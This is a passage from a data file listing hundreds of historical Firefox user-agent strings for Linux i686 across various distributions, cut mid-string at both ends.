rv:1.9.2.11) Gecko/20101013 Ubuntu/10.10 (maverick) Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.2.12) Gecko/20101027 Ubuntu/10.10 (maverick) Firefox/3.6.12 GTB7.1 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.2.18) Gecko/20110628 Ubuntu/10.10 (maverick) Firefox/3.6.18 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9b5) Gecko/2008041514 Firefox/3.0b5 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:2.0) Gecko/20110404 Fedora/16-dev Firefox/4.0 -Mozilla/5.0 (X11; U; Linux i686; en; rv:1.8.1.11) Gecko/20071216 Firefox/2.0.0.11 -Mozilla/5.0 (X11; U; Linux i686; en; rv:1.8.1.2) Gecko/20070220 Firefox/2.0.0.2 -Mozilla/5.0 (X11; U; Linux i686; en; rv:1.9.0.6) Gecko/2009020911 Ubuntu/8.10 (intrepid) Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040225 Firefox/0.8 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040614 Firefox/0.8 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050715 Firefox/1.0.6 SUSE/1.0.6-16 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050719 Red Hat/1.0.6-1.4.1 Firefox/1.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050720 Fedora/1.0.6-1.1.fc3 Firefox/1.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050720 Fedora/1.0.6-1.1.fc4.k12ltsp.4.4.0 Firefox/1.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050721 Firefox/1.0.6 (Ubuntu package 1.0.6) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050811 Firefox/1.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050815 Firefox/1.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050911 Firefox/1.0.6 (Debian package 1.0.6-5) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050918 Firefox/1.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050920 Firefox/1.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050921 Firefox/1.5.0.2 Mandriva/1.0.6-15mdk (2006.0) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20051106 Firefox/1.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20051111 Firefox/1.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20060410 Firefox/1.0.8 Mandriva/1.0.6-16.5.20060mdk (2006.0) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20060927 Firefox/1.0.4 (Debian package 1.0.4-2sarge12) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20061113 Firefox/1.0.4 (Debian package 1.0.4-2sarge13) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20070116 Firefox/1.0.4 (Debian package 1.0.4-2sarge15) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20070530 Firefox/1.0.4 (Debian package 1.0.4-2sarge17) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.4 (Ubuntu package 1.0.7) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060411 Firefox/1.0.8 SUSE/1.0.8-0.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060413 Red Hat/1.0.8-1.4.1 Firefox/1.0.8 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041117 Firefox/1.0 (Debian package 1.0-2.0.0.45.linspire0.4) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041128 Firefox/1.0 (Debian package 1.0-4) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041204 Firefox/1.0 (Debian package 1.0.x.2-1) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041215 Firefox/1.0 Red Hat/1.0-12.EL4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041218 Firefox/1.0 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20050210 Firefox/1.0 (Debian package 1.0+dfsg.1-6) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20050221 Firefox/1.0 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20050814 Firefox/1.0 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.6) Gecko/20050225 Firefox/1.0.1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.6) Gecko/20050310 Firefox/1.0.1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.6) Gecko/20050311 Firefox/1.0.1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.6) Gecko/20050317 Firefox/1.0.1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.6) Gecko/20050317 Firefox/1.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.6) Gecko/20050405 Firefox/1.0 (Ubuntu package 1.0.2) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.7) Gecko/20050421 Firefox/1.0.3 (Debian package 1.0.3-2) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4 SUSE/1.0.4-1.1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050512 Firefox/1.0.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050513 Fedora/1.0.4-1.3.1 Firefox/1.0.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050513 Firefox/1.0.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050517 Firefox/1.0.4 (Debian package 1.0.4-2) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050523 Firefox/1.0.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050524 Fedora/1.0.4-4 Firefox/1.0.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050610 Firefox/1.0.4 (Debian package 1.0.4-3) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7) Gecko/20040630 Firefox/0.9.1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7) Gecko/20040802 Firefox/0.9.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7) Gecko/20040917 Firefox/0.9.3 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.10) Gecko/20060911 SUSE/1.5.0.10-0.2 Firefox/1.5.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.10) Gecko/20070221 Red Hat/1.5.0.10-0.1.el4 Firefox/1.5.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.10) Gecko/20070223 CentOS/1.5.0.10-0.1.el4.centos Firefox/1.5.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.10) Gecko/20070226 Fedora/1.5.0.10-1.fc6 Firefox/1.5.0.10 pango-text -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.10) Gecko/20070226 Red Hat/1.5.0.10-0.1.el4 Firefox/1.5.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.10) Gecko/20070302 Ubuntu/dapper-security Firefox/1.5.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.10) Gecko/20070409 CentOS/1.5.0.10-2.el5.centos Firefox/1.5.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.10) Gecko/20070510 Fedora/1.5.0.10-6.fc6 Firefox/1.5.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.12) Gecko/20070529 Red Hat/1.5.0.12-0.1.el4 Firefox/1.5.0.12 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.12) Gecko/20070530 Fedora/1.5.0.12-1.fc6 Firefox/1.5.0.12 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.12) Gecko/20070719 CentOS/1.5.0.12-0.3.el4.centos Firefox/1.5.0.12 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.12) Gecko/20071126 Fedora/1.5.0.12-7.fc6 Firefox/1.5.0.12 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.13pre) Gecko/20080207 Ubuntu/dapper-security Firefox/1.5.0.13pre -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060313 Debian/1.5.dfsg+1.5.0.1-4 Firefox/1.5.0.1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060313 Fedora/1.5.0.1-9 Firefox/1.5.0.1 pango-text -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060324 Ubuntu/dapper Firefox/1.5.0.1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060404 Firefox/1.5.0.1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.2) Gecko/20060419 Fedora/1.5.0.2-1.2.fc5 Firefox/1.5.0.2 pango-text -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.2) Gecko Firefox/1.5.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.3) Gecko/20060326 Firefox/1.5.0.3 (Debian-1.5.dfsg+1.5.0.3-2) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.3) Gecko/20060425 SUSE/1.5.0.3-7 Firefox/1.5.0.3 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.3) Gecko/20060504 Fedora/1.5.0.3-1.1.fc5 Firefox/1.5.0.3 pango-text -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.3) Gecko/20060523 Ubuntu/dapper Firefox/1.5.0.3 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060406 Firefox/1.5.0.4 (Debian-1.5.dfsg+1.5.0.4-1) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060527 SUSE/1.5.0.4-1.3 Firefox/1.5.0.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060608 Ubuntu/dapper-security Firefox/1.5.0.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060613 Firefox/1.5.0.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060614 Fedora/1.5.0.4-1.2.fc5 Firefox/1.5.0.4 pango-text -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060629 Firefox/1.5.0.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060704 Firefox/1.5.0.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060711 Firefox/1.5.0.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060716 Firefox/1.5.0.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060719 Firefox/1.5.0.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060731 Ubuntu/dapper-security Firefox/1.5.0.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060801 Firefox/1.5.0.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060803 Firefox/1.5.0.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060806 Firefox/1.5.0.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060812 Firefox/1.5.0.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060813 Firefox/1.5.0.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060820 Firefox/1.5.0.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060831 Firefox/1.5.0.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 (Debian-1.5.dfsg+1.5.0.6-1) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 (Debian-1.5.dfsg+1.5.0.6-4) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060728 SUSE/1.5.0.6-0.1 Firefox/1.5.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060802 Firefox/1.5.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060803 Firefox/1.5.0.6 (Swiftfox) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060807 Firefox/1.5.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060808 Fedora/1.5.0.6-2.fc5 Firefox/1.5.0.6 pango-text -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060905 Fedora/1.5.0.6-10 Firefox/1.5.0.6 pango-text -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060911 Red Hat/1.5.0.7-0.1.el4 Firefox/1.5.0.1 pango-text -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20061014 Firefox/1.5.0.7 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.8) Gecko/20060802 Mandriva/1.5.0.8-1.1mdv2007.0 (2007.0) Firefox/1.5.0.8 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.8) Gecko/20060911 SUSE/1.5.0.8-0.2 Firefox/1.5.0.8 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.8) Gecko/20061107 Fedora/1.5.0.8-1.fc6 Firefox/1.5.0.8 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.8) Gecko/20061110 Firefox/1.5.0.8 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.8) Gecko/20061115 Ubuntu/dapper-security Firefox/1.5.0.8 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.9) Gecko/20060911 SUSE/1.5.0.9-0.2 Firefox/1.5.0.9 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.9) Gecko/20060911 SUSE/1.5.0.9-3.2 Firefox/1.5.0.9 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.9) Gecko/20061215 Red Hat/1.5.0.9-0.1.el4 Firefox/1.5.0.9 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.9) Gecko/20061219 Fedora/1.5.0.9-1.fc6 Firefox/1.5.0.9 pango-text -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.9) Gecko/20061221 Fedora/1.5.0.9-1.fc5 Firefox/1.5.0.9 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.9) Gecko/20070102 Ubuntu/dapper-security Firefox/1.5.0.9 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.9) Gecko/20070126 Ubuntu/dapper-security Firefox/1.5.0.9 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.9) Gecko/20070316 CentOS/1.5.0.9-10.el5.centos Firefox/1.5.0.9 pango-text -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.10) Gecko/20060601 Firefox/2.0.0.10 (Ubuntu-edgy) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.10) Gecko/20061201 Firefox/2.0.0.10 (Ubuntu-feisty) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.10) Gecko/20071015 SUSE/2.0.0.10-0.2 Firefox/2.0.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.10) Gecko/20071115 Firefox/2.0.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.10) Gecko/20071115 Firefox/2.0.0.10 (Debian-2.0.0.10-0etch1) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.10) Gecko/20071126 Ubuntu/7.10 (gutsy) Firefox/2.0.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.10) Gecko/20071128 Fedora/2.0.0.10-2.fc7 Firefox/2.0.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.10) Gecko/20071203 Ubuntu/7.10 (gutsy) Firefox/2.0.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.10) Gecko/20071213 Fedora/2.0.0.10-3.fc8 Firefox/2.0.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.11) Gecko/20071204 Firefox/2.0.0.11 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.11) Gecko/20071204 Ubuntu/7.10 (gutsy) Firefox/2.0.0.11 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.11) Gecko/20071217 Firefox/2.0.0.11 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.11) Gecko/20080201 Firefox/2.0.0.11 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.12) Gecko/20080129 Firefox/2.0.0.12 (Debian-2.0.0.12-0etch1) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12 Mnenhy/0.7.5.666 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.12) Gecko/20080208 Fedora/2.0.0.12-1.fc8 Firefox/2.0.0.12 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.12) Gecko/20080208 Firefox/2.0.0.12 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.12) Gecko/20080208 Firefox/2.0b2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.13) Gecko/20061201 Firefox/2.0.0.13 (Ubuntu-feisty) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.13) Gecko/20080316 SUSE/2.0.0.13-0.1 Firefox/2.0.0.13 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.13) Gecko/20080316 SUSE/2.0.0.13-1.1 Firefox/2.0.0.13 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.13) Gecko/20080325 Firefox/2.0.0.13 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.13) Gecko/20080330 Ubuntu/7.10 (gutsy) Firefox/2.0.0.13 (Linux Mint) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20061201 Firefox/2.0.0.14 (Ubuntu-feisty) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080410 SUSE/2.0.0.14-0.4 Firefox/2.0.0.14 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080416 Fedora/2.0.0.14-1.fc8 Firefox/2.0.0.14 pango-text -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080417 Firefox/2.0.0.14 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080423 Firefox/2.0.0.14 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080428 Firefox/2.0.0.14 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080508 Ubuntu/8.04 (hardy) Firefox/2.0.0.14 (Linux Mint) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080525 Firefox/2.0.0.14 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.15) Gecko/20061201 Firefox/2.0.0.15 (Ubuntu-feisty) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.15) Gecko/20080702 Ubuntu/8.04 (hardy) Firefox/2.0.0.15 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080715 Fedora/2.0.0.16-1.fc8 Firefox/2.0.0.16 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080715 Firefox/2.0.0.16 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080715 Ubuntu/7.10 (gutsy) Firefox/2.0.0.16 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080716 Firefox/3.07 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080718 Ubuntu/8.04 (hardy) Firefox/2.0.0.16 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080722 Firefox/2.0.0.16 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.17) Gecko/20080703 Mandriva/2.0.0.17-1.1mdv2008.1 (2008.1) Firefox/2.0.0.17 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.17) Gecko/20080827 Firefox/2.0.0.10 (Debian-2.0.0.17-0etch1) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.17) Gecko/20080921 SUSE/2.0.0.17-1.2 Firefox/2.0.0.17 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.17) Gecko/20080922 Ubuntu/7.10 (gutsy) Firefox/2.0.0.17 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.17) Gecko/20080924 Ubuntu/8.04 (hardy) Firefox/2.0.0.17 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.18) Gecko/20080921 SUSE/2.0.0.18-0.1 Firefox/2.0.0.18 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.18) Gecko/20081112 Fedora/2.0.0.18-1.fc8 Firefox/2.0.0.18 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.18) Gecko/20081113 Ubuntu/8.04 (hardy) Firefox/2.0.0.18 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.19) Gecko/20081202 Firefox (Debian-2.0.0.19-0etch1) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.19) Gecko/20081213 SUSE/2.0.0.19-0.1 Firefox/2.0.0.19 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.19) Gecko/20081216 Fedora/2.0.0.19-1.fc8 Firefox/2.0.0.19 pango-text -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.19) Gecko/20081230 Firefox/2.0.0.19 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20060601 Firefox/2.0.0.1 (Ubuntu-edgy) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Firefox/2.0.0.1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Firefox/2.0.0.1 (Debian-2.0.0.1+dfsg-2) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061208 Firefox/2.0.0.1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061220 Firefox/2.0.0.1 (Swiftfox) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20070110 Firefox/2.0.0.1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20070224 Firefox/2.0.0.1 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.20) Gecko/20081217 Firefox(2.0.0.20) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.22pre) Gecko/20090327 Ubuntu/7.10 (gutsy) Firefox/2.0.0.22pre -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.22pre) Gecko/20090327 Ubuntu/8.04 (hardy) Firefox/2.0.0.22pre -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20061201 Firefox/2.0.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20061201 Firefox/2.0.0.2 (Ubuntu-feisty) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20070220 Firefox/2.0.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20070221 SUSE/2.0.0.2-6.1 Firefox/2.0.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20070225 Firefox/2.0.0.2 (Swiftfox) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20070226 Firefox/2.0.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20070314 Firefox/2.0.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20070317 Firefox/2.0.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.3) Gecko/20061201 Firefox/2.0.0.1 (Ubuntu-feisty) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.3pre) Gecko/20070307 Firefox/2.0.0.3pre (Swiftfox) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 (Kubuntu) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4) Gecko/20070530 Fedora/2.0.0.4-1.fc7 Firefox/2.0.0.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4) Gecko/20070531 Firefox/2.0.0.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4) Gecko/20070531 Firefox/2.0.0.4 (Swiftfox) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4) Gecko/20070602 Firefox/2.0.0.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4pre) Gecko/20070509 Firefox/2.0.0.4pre (Swiftfox) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.5) Gecko/20061201 Firefox/2.0.0.5 (Ubuntu-feisty) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.5) Gecko/20070718 Fedora/2.0.0.5-1.fc7 Firefox/2.0.0.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.5) Gecko/20070719 Firefox/2.0.0.5 (Debian-2.0.0.5-0etch1) -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.5) Gecko/20070725 Firefox/2.0.0.5 -Mozilla/5.0 